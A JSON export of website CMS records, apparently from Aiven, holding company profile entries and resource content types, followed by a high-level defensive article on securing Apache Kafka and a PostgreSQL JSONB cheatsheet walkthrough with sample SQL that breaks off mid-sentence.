{"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"2G9z2uZhiE8LjSLikpXmFJ","_rev":"TpAoe0ZPYnVPmPAgmZ9tx2","_type":"company","_updatedAt":"2024-05-07T08:01:04Z","companyLogo":{"alt":"","asset":{"_ref":"image-80ec146062c1aac6037e3516a26f07e48d0b1338-1138x190-svg","_type":"reference"}},"companyName":"Norauto","companySize":22000,"companyWebsite":"https://www.norauto.fr/","hostProviders":[{"_key":"1ce891f8f593","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"logoHeight":25,"region":"EMEA","tags":[{"_key":"a5986fef87c4","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"600256ba8896","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"35a8487a8111","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"c71788199cb8","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"732833dd6cd4","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"1a00f7177581","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"}],"yearFounded":1970} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1aEmXcT3h9R3Vg88M7f2dE","_rev":"on5KSabgAN0raW406Y53RO","_type":"company","_updatedAt":"2024-02-08T14:58:12Z","companyLogo":{"alt":"Paf logo","asset":{"_ref":"image-df0db25b220c9e25ad49ade5c220b7bcc8ee89c5-116x44-svg","_type":"reference"}},"companyName":"Paf","companySize":1000,"companyWebsite":"https://www.paf.com/","hostProviders":[{"_key":"589f284fbb31","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"region":"EMEA","tags":[{"_key":"9ad46f84d24e","_ref":"21893a68-7c84-4a28-8288-fea5434d27dc","_type":"reference"},{"_key":"8feb696bf818","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"4555fb7ffb22","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"yearFounded":1966} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"17IOucz0A2afQRoggZvU06","_rev":"BBilaBRu5SWkONsyWkYzbG","_type":"company","_updatedAt":"2024-05-06T11:57:32Z","companyLogo":{"alt":"swift-solutions-logo","asset":{"_ref":"image-f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428-svg","_type":"reference"}},"companyName":"Swift Solutions","companySize":550,"companyWebsite":"https://www.swiftsolutions.id/","hostProviders":[{"_key":"e34647ad7802","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":68,"region":"APAC","tags":[{"_key":"173ad04b4e75","_ref":"8430ab79-9182-48c7-a13b-a02cc260a6ba","_type":"reference"},{"_key":"adac3736f8c5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"05d55f0d2ea2","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"42f1bb57687b","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"}],"yearFounded":2020} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"a1b1HCA1GLpib0GtaoJrT","_rev":"BBilaBRu5SWkONsyWkYvxL","_type":"company","_updatedAt":"2024-05-06T11:57:07Z","companyLogo":{"alt":"","asset":{"_ref":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_type":"reference"}},"companyName":"Mirakl","companyWebsite":"https://www.mirakl.com/","hostProviders":[{"_key":"24ac5d9a275b","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":40,"region":"EMEA","tags":[{"_key":"229a4743d769","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"8c81d786d824","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"8229669c0d97","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"yearFounded":2012} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"77cGJ1NZ9Y7b4XMtjpJjas","_rev":"AUoLUkEDo6CVeRx5sosa3N","_type":"company","_updatedAt":"2024-02-08T17:44:08Z","companyLogo":{"alt":"Decathlon logo","asset":{"_ref":"image-662d4991d0bce63f93b73a123aabf02d65d18997-800x198-jpg","_type":"reference"}},"companyName":"Decathlon","companySize":93711,"companyWebsite":"https://www.decathlon.com/","tags":[{"_key":"03cb9daef20a","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"50c616780cec","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"6c63c3278e5e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"c150311c83b3","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"dcb0d460c388","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"67c8bba60324","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"}],"yearFounded":1976} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"4TqpVisLv0iRqpMCA1uvHK","_rev":"0TXqTylVMKaoTR0MBsFP6K","_type":"company","_updatedAt":"2024-11-15T08:00:05Z","companyLogo":{"alt":"","asset":{"_ref":"image-66ee405bcbb03c84370ef1eec60a742f63a30bea-595x148-svg","_type":"reference"}},"companyName":"Aiven","companySize":500,"companyWebsite":"https://aiven.io","hostProviders":[{"_key":"371302453f85","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"bc9bff909904","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"e34fa0c5b11e","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"eca7e5d1797c","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"2d98ba8ccfbd","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"logoHeight":40,"region":"EMEA","tags":[{"_key":"cb9fdbf2b209","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"d9d65205247d","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"c31a22e68416","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},{"_key":"9073e9a8e395","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"yearFounded":2015} {"_createdAt":"2023-10-19T13:06:15Z","_id":"1b22d545-7abf-4b09-b314-93ca43cc3922","_rev":"WvYfyMjuvK5pr969lNmtF5","_type":"company","_updatedAt":"2024-10-03T14:34:56Z","companyDescription":[{"_key":"25b1e9dc0206","_type":"block","children":[{"_key":"3847f16c2ad50","_type":"span","marks":[],"text":"Since launching in 2019 to address business owners’ pain points across the UK, we’ve seen incredible growth as a scaling fintech, welcoming over 126,000 customers and growing the Dojo team to 1,200+ people across five locations. In that time, we’ve also introduced Dojo Virtual Queues \u0026 Bookings and the Dojo restaurant finder app, formerly known as WalkUp and loved by 1,700 restaurants and 850,000 diners."}],"markDefs":[],"style":"normal"},{"_key":"a635fa3ade73","_type":"block","children":[{"_key":"43b8cb23cd55","_type":"span","marks":[],"text":"Today, we work towards our mission to empower businesses to thrive in the Experience Economy by creating the tools and technology that turn transactions into meaningful relationships. For our business customers, that means fast funding, the fastest payments, smart integrations, and efficient virtual queues \u0026 bookings - all with instant insight across the board. For diners, that means getting seated at their favourite restaurants in just a couple of taps on the Dojo app. Whether it’s for busy business owners or hungry diners, every Dojo product is built to address real customer pain points by our dedicated teams in London, Bristol, Hull and Belfast."}],"markDefs":[],"style":"normal"},{"_key":"e60e936af91b","_type":"block","children":[{"_key":"2c5ee4d8b5aa","_type":"span","marks":[],"text":"Find out more about our benefits and what it’s like to work at Dojo at "},{"_key":"3847f16c2ad51","_type":"span","marks":["151fceee499b"],"text":"https://www.dojo.careers"},{"_key":"3847f16c2ad52","_type":"span","marks":[],"text":".\nLearn more about Life at Dojo on LinkedIn and Instagram.\n"}],"markDefs":[{"_key":"151fceee499b","_type":"link","href":"https://www.dojo.careers/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-a45e8ef2034dd17cd7a07df2ad0b1109d2914b24-1093x299-png","_type":"reference"}},"companyName":"Dojo","companyWebsite":"https://www.dojo.tech","hostProviders":[{"_key":"6c8e7606a8bb","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":48,"region":"EMEA","tags":[{"_key":"2ed668135a89","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"b73ad59af743","_ref":"ba0ccef8-edb6-431b-a082-f13df38fb842","_type":"reference"}],"yearFounded":2020} {"_createdAt":"2024-08-26T07:29:47Z","_id":"a1f264a5-135e-445c-a54d-95802fad1c41","_rev":"1v7MRIpZS1A0E2ougTt6Gl","_type":"company","_updatedAt":"2024-11-13T14:20:38Z","companyLogo":{"_type":"mainImage","alt":"Greens logo","asset":{"_ref":"image-01799116ca72aeee809e17f794383403728ce4a8-4747x1191-png","_type":"reference"}},"companyName":"Greens ","companyWebsite":"https://greens.ventures/","logoHeight":48} {"_createdAt":"2024-11-14T10:17:57Z","_id":"04858f36-1efc-48a7-b2e9-1df9a114e62f","_rev":"j14GNyKgkSja9ilYIeJNlX","_type":"company","_updatedAt":"2024-11-14T10:22:02Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64-svg","_type":"reference"}},"companyName":"Jetbrains plugin","companyWebsite":"https://plugins.jetbrains.com/plugin/17399-sql-optimizer-sql-formatter-sql-indexing-postgresql-and-mysql","logoHeight":48} {"_createdAt":"2024-11-14T10:20:03Z","_id":"f072b420-44bc-4034-b325-80f05eb586da","_rev":"j14GNyKgkSja9ilYIeJbaA","_type":"company","_updatedAt":"2024-11-14T10:22:41Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100-svg","_type":"reference"}},"companyName":"VS Code marketplace","companyWebsite":"https://marketplace.visualstudio.com/items?itemName=Aiven.aiven-sql-optimizer-extension","logoHeight":48} {"_createdAt":"2023-11-09T10:59:30Z","_id":"6079f1b6-5fbf-4777-97d0-1621dc783637","_rev":"lbpMA3MBWy0eIji4xb0r6M","_type":"company","_updatedAt":"2024-12-08T18:16:44Z","companyDescription":{"_type":"localeText","de":"Im Jahr 2000 ist idealo mit der Mission gestartet seinen Nutzern dabei zu helfen, die bestmögliche Kaufentscheidung zu treffen. idealo gehört zu den führenden Online-Vergleichsplattformen für Produkte, Reisen und Flüge in Europa und ist ein datenintensives Unternehmen. Als Teil der Axel Springer SE strebt das Unternehmen danach, seine Präsenz in ganz Europa weiter auszubauen.","en":"Founded in 2000, idealo’s mission is to help users make the best buying decisions. As one of Europe's leading online comparison platforms for products and travel and flight, idealo is a data-intensive business. Part of Axel Springer SE, the company has ambitions to further expand its presence across Europe.","fr":"Fondé en 2000, la mission d'idealo est d'aider les utilisateurs à prendre les meilleures décisions d'achat. En tant que l'une des principales plateformes de comparaison en ligne pour les produits, les voyages et les vols en Europe, idealo est une entreprise axée sur les données. Faisant partie d'Axel Springer SE, l'entreprise a pour ambition de renforcer sa présence à travers l'Europe."},"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_type":"reference"}},"companyName":"idealo","companySize":1000,"companyWebsite":"https://www.idealo.de/","hostProviders":[{"_key":"36a9fff5c03e","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":35,"region":"EMEA","tags":[{"_key":"207104f9a741","_ref":"12ad0420-837b-42cb-9631-2009792d0d75","_type":"reference"},{"_key":"1acc2f1e6c7e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2000} {"_createdAt":"2023-02-10T13:07:38Z","_id":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_rev":"A5seFJXEmkKSGRuwsIluuH","_type":"contentType","_updatedAt":"2023-02-21T10:46:50Z","slug":{"_type":"slug","current":"/resources/report"},"title":{"_type":"localeString","en":"Report"}} {"_createdAt":"2023-02-10T13:07:13Z","_id":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_rev":"kCpVRB4k8RYeMqmK06zFKx","_type":"contentType","_updatedAt":"2023-09-15T09:21:26Z","slug":{"_type":"slug","current":"/resources/webinar"},"title":{"_type":"localeString","en":"Webinar"}} {"_createdAt":"2024-05-24T12:29:08Z","_id":"d5d56f66-8954-4e91-a5d3-0120140d4564","_rev":"kvD2acrBmFSZeMYobhykis","_type":"contentType","_updatedAt":"2024-05-24T12:29:08Z","slug":{"_type":"slug","current":"/resources/podcast"},"title":{"_type":"localeString","en":"Podcast"}} {"_createdAt":"2023-09-18T09:52:17Z","_id":"0bc2527c-3806-411b-831d-17c246d861f7","_rev":"TN9wNboJQmzNt8mfOPomQO","_type":"contentType","_updatedAt":"2023-09-18T09:52:17Z","slug":{"_type":"slug","current":"/resources/video"},"title":{"_type":"localeString","en":"Live video"}} {"_createdAt":"2023-02-10T13:07:00Z","_id":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_rev":"qBG5W2UzMHRLoCg3nDLMiU","_type":"contentType","_updatedAt":"2023-02-10T13:07:00Z","slug":{"_type":"slug","current":"/resources/tool"},"title":{"_type":"localeString","en":"Tool"}} {"_createdAt":"2023-10-12T08:42:39Z","_id":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_rev":"oVKLF5tNtw07ELMy9jrpn0","_type":"contentType","_updatedAt":"2023-10-13T10:54:32Z","slug":{"_type":"slug","current":"/resources/workshop"},"title":{"_type":"localeString","en":"Workshop"}} {"_createdAt":"2023-02-10T13:08:06Z","_id":"39b7b931-91b9-4b63-bc79-a23e3169e37d","_rev":"GcS0B1Rw1v9Sxzfp9vTRaz","_type":"contentType","_updatedAt":"2024-03-21T13:42:21Z","slug":{"_type":"slug","current":"/resources/whitepaper"},"title":{"_type":"localeString","en":"White paper"}} {"_createdAt":"2023-02-10T13:07:52Z","_id":"a2426476-f52d-418a-8200-1c77914ddc8d","_rev":"VeNKqGNmt13PzvGhqos8Ky","_type":"contentType","_updatedAt":"2024-01-26T08:44:57Z","slug":{"_type":"slug","current":"/resources/ebook"},"title":{"_type":"localeString","en":"E-book"}} {"__i18n_lang":"en","_createdAt":"2024-08-19T17:34:03Z","_id":"ac0c18ad-da1e-410a-952a-ee3bac00d7af","_rev":"8LlKqJjbNRckfBQsLRLj2p","_type":"devArticle","_updatedAt":"2024-08-19T17:34:03Z","body":"You’ve likely placed Apache Kafka® in the center of your company's data universe. Understandably, it solves the need for data services across the company, including how easily it can integrate with other tools, thanks to Apache Kafka® Connect. But what happens when there are data integrity issues when users have access to much more than they should, and most importantly, when you are under attack?\n\nTo defend against attack, explore best practices for planning your data flow and designing your Kafka infrastructure to prevent possible security issues. But fear not if you, like many, already have Kafka set up. We’ll also discuss ways to execute, monitor, and test your existing Kafka deployments so that you can improve security, too!\n\n## Planning \u0026 Designing\n\nKafka is often woven throughout your data infrastructure, touching applications, microservices, monitoring, and real-time analytics. With such a broad reach, how you plan to implement the technology and defend your data infrastructure from the start sets you up for success in the long run. Planning well before integrating Kafka into any system allows you to evaluate the security features of the Kafka version being used, understand how it will be integrated with other systems, and define a responsibility matrix to clarify who has access to what within Kafka. \n\nHowever, if poorly designed, you might have other issues with Kafka, such as data integrity issues such as improper schema management, lack of proper data retention policies, operational issues, poor monitoring and logging practices, reduced availability and reliability, and security vulnerabilities.\n\nFrom the beginning, make sure you use the latest Kafka version—at the time of writing, that’s version 3.7.0. If you are not on 3.7, consider upgrading and checking the [Apache Kafka Security Vulnerabilities ](https://kafka.apache.org/cve-list) page from the Apache Software Organization to make sure you are not affected by any of those vulnerabilities.\n\nPut effort into defining what good data, sound data patterns, and good data pipelines look like. Vital questions to ask yourself and the stakeholders setting this up include: \n- How will your pipeline ingest the data? Consider whether you need real-time streams or batch processing. The way your pipeline will ingest the data will affect the security and tools needed. \n- How will your pipeline process and deliver the data? Determine whether your pipeline requires event processing, transformations, or data enrichment. Consider how you will ensure the data is delivered accurately and on time to the necessary endpoints. \n- What does the data look like? The shape of your data impacts the implementation of Kafka and the tools you use. Analyze the data schema, format, and any potential changes over time. \n\nTo learn more about determining the shape of your data, read [Navigating the Data Maze: 5 Essential Questions to Guide Your Tool Selection](https://aiven.io/blog/data-tool-selection).\n\nEstimating the attacker's intent is an often overlooked mindset when planning. \nAre you trying to map your data infrastructure? \nFind openings in your infrastructure.\nFind ways to connect to the user in one or two ways.\nFind patterns in your infrastructure that allow you to reboot the system and lose functionality. \n\nGood data, data patterns, and data pipelines require cross-departmental effort. You should always involve and include all possible stakeholders in your plan definition. \n\nWhen defining a responsibility matrix to clarify who has access to what within Kafka, consider role-based access control (RBAC) and access control lists (ACLs). Knowing who has what access allows you to understand where attacks are coming from. \n\nKafka accepts many kinds of data into its topics. Using Kafka schemas to define expectations about the shape of the data that should be passed allows you to monitor the data moving through it more effectively. For example, if you only want records with a name, an ID, a value, and a string integer. Creating expectations lets you monitor and investigate when anomalies occur. \n\nPlanning includes executing code as infrastructure, encrypting data, trying to isolate workloads, and providing strict access control. Instead of relying on defaults, customize the settings for your organization's needs. For example, add more users to distinguish the different functionality you're implementing. Then, both the infrastructure and the data that is being passed through must be monitored.\n\nYou must also consider the different systems Kafka integrates with and how to secure those connections. Some items to consider would be Connector Plugins, Source Connectors, Sink Connectors, Configuration, Distributed Architecture, and/or a REST API. \n\nFinally, test everything. Test the plans, the execution, and the monitoring. You should test continuously, ensuring everything is ready when something happens. Testing frameworks you could use are [Testing Kafka Streams](https://https://kafka.apache.org/21/documentation/streams/developer-guide/testing.html), [Testcontainers for Kafka](https://github.com/testcontainers), and [Embedded Kafka](https://github.com/manub/scalatest-embedded-kafka).\n\nPlanning your Kafka implementation beforehand is not always feasible. By taking the steps mentioned above, you can still analyze what changes you can make to prevent attacks. \n\n## Monitoring\nThe infrastructure and data passing through Kafka must be monitored to detect anomalies and ensure only expected, secure data patterns are allowed. This involves defining and monitoring standard data patterns to detect deviations that might indicate an attack, unauthorized access, or general misuse. \nWhen you are monitoring infrastructure, consider monitoring Kafka brokers and Kafka nodes. There are other questions to ask, such as:\n- Network data considerations: \n\t- What data is passing through the network? \n\t- What are the IP addresses of the nodes in the Kafka cluster?\n\t- Are new Kafka brokers or nodes being added to the cluster and starting to communicate with existing nodes?\n- Access Control Lists (ACLs):\n\t- What are the access control lists (ACLs) in place for your Kafka topics and resources?\n\t- Are you rotating your credentials frequently enough to ensure security?\n\nWhen monitoring your data, you shouldn’t only monitor the shape of the data but also your messages themselves. For example, you may want to monitor the size of the messages. All the messages passing through a Kafka topic are usually around the same size. Additionally, the volume and frequency of messages are approximately the same from day one to day two. When you start receiving messages that are three times the size, for example, you should be alerted and look into the cause of the change. \n\nQuestions to ask about the message changes: \n- What are the schemas of the new messages? \n- Do they follow the rules you set before, or are we receiving messages with different schemas? \n- Are you receiving messages with a dramatically different character count? Were you expecting a change in our message size, frequency, or volume, such as switching the originating system sending those messages? \n- What is the throughput? \n\nYou can set expectations for how your messages are usually distributed. By adjusting and validating these expectations, you can determine if you’re observing normal behavior or something unusual. Once these expectations are defined, you need to test them, including verifying that your infrastructure as code works, ensuring you and your team can recreate the same infrastructure elsewhere, and measuring how long it takes.\n\nA few ways to monitor your Kafka are: \n- Classic Kafka: used for Application Performance Management (APM) to trace requests to and from Kafka clients automatically. \n- [Karapace](https://aiven.io/docs/products/kafka/karapace): used for schema management using schema registries, users, manual activities, lead time, security, and releases. \n\t- Schema registries allow you to measure global, request, and response metrics in one centralized location to define the structure of your data.\n- [Grafana](https://aiven.io/grafana): used for visualizations of key metrics that are being monitored.\n- [Klaw](https://aiven.io/docs/products/kafka/howto/kafka-klaw): used for data consistency, reliability, and secure access, aligning with organizational policies\n- [Aiven Platform List Monitoring](https://aiven.io/docs/platform/howto/list-monitoring): To monitor metrics, logs, and alerts in Aiven\n\n## Securing\nYou can implement basic security practices such as using infrastructure as code for reproducibility and auditability, encrypting data both in transit and at rest, isolating workloads to minimize the attack surface, applying strict access control, and using schemas to enforce data integrity to defend your Kafka instance.\n\nAn attacker could check the present data if you don't secure Kafka’s buffers and queues. Just by doing that, an attacker can gain information. An attacker can take this information without having direct access to any endpoint in your ecosystem. With only sniffing the network, an attacker can create service disruption, steal data, and possibly steal credentials enough to do damage.\n\nEncrypt data both in transit and at rest to protect sensitive information from being intercepted or accessed by unauthorized parties. **Encrypt everything that you can**. To isolate Kafka’s internal network from the external network, ensure that your producers and consumers only communicate with their associated Kafka brokers. This prevents data leakage and limits unnecessary exposure. Additionally, try isolating the network segments for each component, as Kafka’s notification system doesn’t need to interact directly with the database. By isolating these communication pathways, you can apply stricter controls to the data flow and enhance access control.\n\nNext, always always divide read patterns from write patterns. If a service only needs to read from a topic, you should define a user and an ACL that only allows them to read from that topic. Follow the principle of least privilege and only grant access where it’s needed. \n\nFinally, always use schemas. You can pass almost any data to Kafka, but schemas let you define expectations about the shape of the data. For example, you can define a schema that defines a specific kind of record and flag any anomalies. As with monitoring, [Karapace](https://aiven.io/developer/apache-kafka-karapace) is a great way to use schema registries, which allow you to measure global request and response metrics in one centralized location to define the structure of your data. \n\n## Testing\nNow that we’ve discussed planning, monitoring, and security hygiene, **test everything**—from the plans to the execution and monitoring. You should continuously test everything to be ready when something happens.\n\nTesting supports the plans we mentioned in the first section, and planning and designing assist in finding ways to prevent questions like whether you can afford to shut down a certain piece of functionality for a couple of hours. The ability to stop a service is not only driven by who is attacking what functionality. It is also driven by how much money the company might lose if you stop this functionality temporarily.\n\nYou should test the entire data pipeline. Your contingency plans, the responsibility matrix, and the monitoring discussed previously all need to be tested. You will probably never be ready for all the possible edge cases but you can be ready as possible.\n\nChanging the distribution of your data, such as using read replicas or distributing data across different clouds and continents, helps set and validate expectations for normal behavior. Once you define all these concepts, it's time to test them. Testing goes from checking that your infrastructure as code works to checking that you can recreate the same infrastructure on another cloud provider and how much time that takes.\n\nWe also need to review what goes into the details of checking that we can see or find the anomalies we define or get alerts if some new anomaly pops up. However, testing also goes from the person clicking a button to the company's CEO. You should also test a case where you go to the CEO and say, ok, we're under attack. \n\nA few tools for testing Kafka are:\n- Kafka Console Producer and Consumer: These built-in tools allow you to produce and consume messages from Kafka topics, making it easy to test the message flow.\n- [Apache Kafka® MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker): This tool tests replication and disaster recovery setups.\n- [Schema Registry](https://aiven.io/docs/products/kafka/howto/list-topic-management): This tool ensures your data schemas are correctly managed and validated.\n- [Grafana](https://aiven.io/docs/products/grafana): This tool monitors Kafka metrics and sets up alerts.\n\n## Closing\nIf this seems overwhelming, some vendors can help you out, including Aiven. Acknowledge the security challenges and vulnerabilities associated with Apache Kafka, such as DDoS attacks, unauthorized access, and data integrity issues. You can mitigate these problems by planning, executing security hygiene practices, monitoring infrastructure and data services, and continuous testing. Using tools and vendors like Aiven to manage Kafka security and infrastructure is important. \n\nWith Aiven, we offer ways to take much effort off your shoulders. Aiven’s excellent security team secures Kafka and ten other services in the open source space for several companies, such as [Back Market](https://aiven.io/case-studies/back-market-uses-aiven-to-enable-seamless-migration-across-clouds), [La Redoute](https://aiven.io/case-studies/la-redoute-takes-control-of-cloud-costs-with-byoc), and [Doccla](https://aiven.io/blog/data-for-good), which are available to everybody on top of any cloud. ","feature":{"_type":"featuredItem","active":false,"endDate":"2024-08-26T17:31:44.337Z"},"publishedAt":"2024-08-19T17:31:13.788Z","slug":{"_type":"slug","current":"/developer/defending-apache-kafka"},"subtitle":"Secure Your Apache Kafka Infrastructure: Best Practices for Planning, Monitoring, and Testing to Protect Against Security Threats and Data Integrity Issues.","tags":[{"_key":"78733591c5a8","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Defending Apache Kafka"} {"__i18n_lang":"en","_createdAt":"2023-03-28T10:23:56Z","_id":"c3affeef-2d54-47cd-82f2-33634239277c","_rev":"v1Ca4WRs8bWHuMMVm5r4Qn","_type":"devArticle","_updatedAt":"2023-05-02T06:56:41Z","body":"How do I extract a JSON item? What about tabulating the content? Can I build a set of rows from an array?\n\nDealing with JSON datasets in PostgreSQL® is becoming more and more common, and we can see the mix PostgreSQL + JSON appearing frequently in [StackOverflow](https://stackoverflow.com/questions/tagged/postgresql). Knowing all the [PostgreSQL JSON functions and operators](https://www.postgresql.org/docs/current/functions-json.html) by heart might make you famous at a PostgreSQL trivia night, but is not an essential skill to have. \n\nWe're therefore happy to release the [PostgreSQL® JSONB Cheatsheet](https://cdn.sanity.io/images/sczeoy4w/production/c228518b0c2d62766ec0805f09517b493f3366b8-1272x898.png), a complete and fast lookup guide to all the PostgreSQL JSONB functions and operators. The cheatsheet provides a set of consistent examples of all the most common JSONB functions and operators.\n\n::alert[PostgreSQL actually has two JSON datatypes, `json` and `jsonb`. The first validates that the content is in JSON format and stores it as a string, the second is a binary representation optimised for faster processing and better indexing. You can read more on [StackOverflow](https://stackoverflow.com/questions/22654170/explanation-of-jsonb-introduced-by-postgresql). If you need the JSON functions instead, they're really similar but without the `b` ending.]\n\n![Image of the cheatsheet](https://cdn.sanity.io/images/sczeoy4w/production/c228518b0c2d62766ec0805f09517b493f3366b8-1272x898.png)\n\nThe image above is only for display purposes, download the [high resolution copy](https://cdn.sanity.io/files/sczeoy4w/production/065818a8cd88cd048137368e5710ec35c0361185.pdf) with full copy/paste features.\n\n\n## Get a PostgreSQL database\n\nThe operators and functions will work with any PostgreSQL database, all the docs have been checked from 9.5+, include both the JSON and JSONB functions.\n\nIn this walkthrough, we're going to use an Aiven for PostgreSQL database: we can create one,\nusing the $300 and 30 days trial period,\nby accessing the [Aiven Console](https://console.aiven.io/), clicking on **Create Service** and then filling in the following details:\n\n* *Service type*: the choice is **PostgreSQL®**, any version is ok. We can select the newly released Version 15.\n* *Cloud provider and region*: we can deploy our PostgreSQL wherever we want. Feel free to select your favourite cloud provider and the cloud region closer to where you are, this will help minimise the latency. Please note that you don't need to create a cloud account with the chosen provider, Aiven will handle everything for you.\n* *Service plan*: various options are available, from hobbyist to premium plans, covering all the scenarios from test to highly available production system. For our testing purposes the `Hobbyist` plan would be enough.\n* *Service name*: used to identify the service uniquely, we can either accept the default or write a more accurate name. Let's go for `pg-jsonb-cheatsheet` so we can immediately understand why we created the PostgreSQL instance.\n\nAfter clicking on **Create service**, we need just a couple minutes of patience for the service to come up.\n\nOnce the service status is **Running** we can use our favourite tool to connect. If the chosen tool is `psql`, we can get the necessary command line, complete with connection details, by clicking on **Quick connect**. Otherwise, copy the Service URI, as highlighted, and use the tool of your choice.\n\n![Service overview page with Service URI highlighted](https://cdn.sanity.io/images/sczeoy4w/production/41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d-966x725.png)\n\n## Insert the data\n\nThe cheatsheet includes a small JSON dataset (at the top left) that allows us to explore the functions. To start we need to execute that code to create a table called `test` containing a single record, with a serial number in `id` and a JSONB payload in the `json_data` column. The same JSON is shown below, so you can easily copy/paste it.\n\n```sql\ncreate table test(id serial, json_data jsonb);\n\ninsert into test(json_data) values (\n'{\n \"id\": 778,\n \"shop\": \"Luigis Pizza\",\n \"name\": \"Edward Olson\",\n \"phoneNumbers\":\n [\"(935)503-3765x4154\",\"(935)12345\"],\n \"address\": \"Unit 9398 Box 2056\\nDPO AP 24022\",\n \"image\": null,\n \"pizzas\": [\n {\n \"pizzaName\": \"Salami\",\n \"additionalToppings\": [\"🥓\", \"🌶️\"]\n },\n {\n \"pizzaName\": \"Margherita\",\n \"additionalToppings\": [\"🍌\", \"🌶️\", \"🍍\"]\n }\n ]\n}');\n```\n\n## Experience the JSONB functions\n\nNow we're all set for success! Check out the cheatsheet, identify the problem to solve and copy/paste the relevant code. \nFor example, if you're looking to understand how to remove some fields from a JSON document, head to the **Edit** section, look for the **Remove items in A** example, copy and paste the code.\n\n```sql\nselect json_data\n - ARRAY['pizzas','id']\n as no_pizzas_and_id\nfrom test;\n```\n\nThe result is the original JSON document without the `pizzas` and `id` columns\n\n```\n no_pizzas_and_id\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------\n {\"name\": \"Edward Olson\", \"shop\": \"Luigis Pizza\", \"image\": null, \"address\": \"Unit 9398 Box 2056\\nDPO AP 24022\", \"phoneNumbers\": [\"(935)503-3765x4154\", \"(935)12345\"]}\n(1 row)\n```\n\n## A quick lookup for JSONB functions\n\nBeing a good SQL citizen doesn't mean needing to know all the PostgreSQL JSONB functions by heart. The PostgreSQL JSONB cheatsheet is a one pager that can help you quickly find the function you're looking for to solve your semi structured data problem.\n\nSome more links you might be interested to:\n\n* [PostgreSQL JSON functions and operators](https://www.postgresql.org/docs/current/functions-json.html)\n* [A more detailed version of PostgreSQL JSONB examples](https://ftisiot.net/postgresqljson/main/)\n* An example of applying [PostgreSQL JSON functions to find a restaurant in 